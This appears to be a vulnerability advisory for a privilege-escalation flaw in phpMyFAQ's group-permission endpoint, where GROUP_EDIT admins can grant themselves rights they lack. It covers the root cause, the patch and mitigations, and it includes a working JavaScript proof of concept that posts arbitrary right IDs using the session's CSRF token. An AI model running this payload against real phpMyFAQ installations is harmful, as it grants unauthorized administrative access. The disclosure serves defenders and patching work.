CVE-2026-56777: phpMyFAQ GroupController Privilege Escalation via Missing Self-Rights Constraint
A delegated phpMyFAQ admin holding only the GROUP_EDIT permission can grant any group arbitrary rights they do not themselves hold, then inherit those rights by being a member of that group…

The problem
phpMyFAQ supports delegated administration through the GROUP_EDIT permission. The endpoint POST /admin/group/update/permissions (GroupController::updatePermissions) verifies the caller holds GROUP_EDIT, then grants every right in the request body to the target group with no further check.
The sibling endpoint UserController::updateUserRights received a "you may only assign rights you yourself hold" guard in an earlier hardening series. That same guard was never added to the group path. Any GROUP_EDIT admin can therefore write arbitrary right IDs into a group they belong to and immediately inherit those rights, including full SuperAdmin-equivalent access.
Proof of concept
A working proof-of-concept for this issue in phpmyfaq/phpmyfaq, with the exact payload below.
// Run as a delegated (non-SuperAdmin) GROUP_EDIT admin in the phpMyFAQ admin UI.
// Replace GROUP_ID with the ID of a group the attacker belongs to.
// Replace RIGHT_ID with a numeric right ID the attacker does NOT hold (e.g. 1 for user-admin).
const csrf = document.querySelector('[name="pmf-csrf-token"], #pmf-csrf-token')?.value
|| window.PMF_CSRF_UPDATE_GROUP_PERMISSIONS;
const body = new URLSearchParams();
body.set('pmf-csrf-token', csrf);
body.set('group_id', String(GROUP_ID));
body.append('group_rights[]', String(RIGHT_ID));
fetch('/admin/group/update/permissions', {
method: 'POST',
credentials: 'include',
body
})
.then(r => r.text())
.then(t => console.log(
t.includes('savedsuc') ? 'ESCALATED: right granted to group' : t.slice(0, 200)
));
// Confirm with: SELECT * FROM faqgroup_right WHERE group_id = GROUP_ID;
// The new right_id row will be present. Members of the group inherit it immediately.The root cause is an authorization omission (CWE-269). In GroupController::updatePermissions (lines 309-349), the only access gate is userHasPermission(PermissionType::GROUP_EDIT). The request body group_rights[] is passed directly into grantGroupRight() in a loop, which executes INSERT INTO faqgroup_right for each entry, with zero per-right verification.
The fix, introduced in commit de5016607dd606ef161cccd10fa5deec303c834e, mirrors the check already present in UserController::updateUserRights (lines 563-571): before granting, iterate the requested rights and return 403 for any right the acting user does not themselves hold.
Non-SuperAdmin callers are now blocked from granting rights they do not possess on both the user and group paths.
The fix
Upgrade to phpMyFAQ 4.1.5 (patched in commit de5016607dd606ef161cccd10fa5deec303c834e). The fix adds the following self-rights check to GroupController::updatePermissions before the grant loop:
``php $actingIsSuperAdmin = $this->currentUser->isSuperAdmin(); if (!$actingIsSuperAdmin) { $actingUserId = $this->currentUser->getUserId(); foreach ($groupPermissions as $groupPermission) { if (!$this->currentUser->perm->hasPermission($actingUserId, (int) $groupPermission)) { throw new UnauthorizedHttpException('Cannot grant a right you do not hold'); } } } ``
Until patching is possible, revoke the GROUP_EDIT right from any non-SuperAdmin account, or restrict group-permission management to SuperAdmins only.
Related research
- criticalCVE-2026-59989CVE-2026-59989: Phalcon Volt Compiler join Filter PHP Code Injection (RCE)
- high · 8.2CVE-2026-63135CVE-2026-63135: YOURLS Stored XSS via Crafted Referer Header in Statistics Chart
- high · 7.6CVE-2026-54175CVE-2026-54175: Laravel Backpack CRUD Unverified Password Change via Mass Assignment
- high · 8.1CVE-2026-54178CVE-2026-54178: Backpack CRUD Arbitrary File Deletion via Unvalidated clear_<attr>[] Input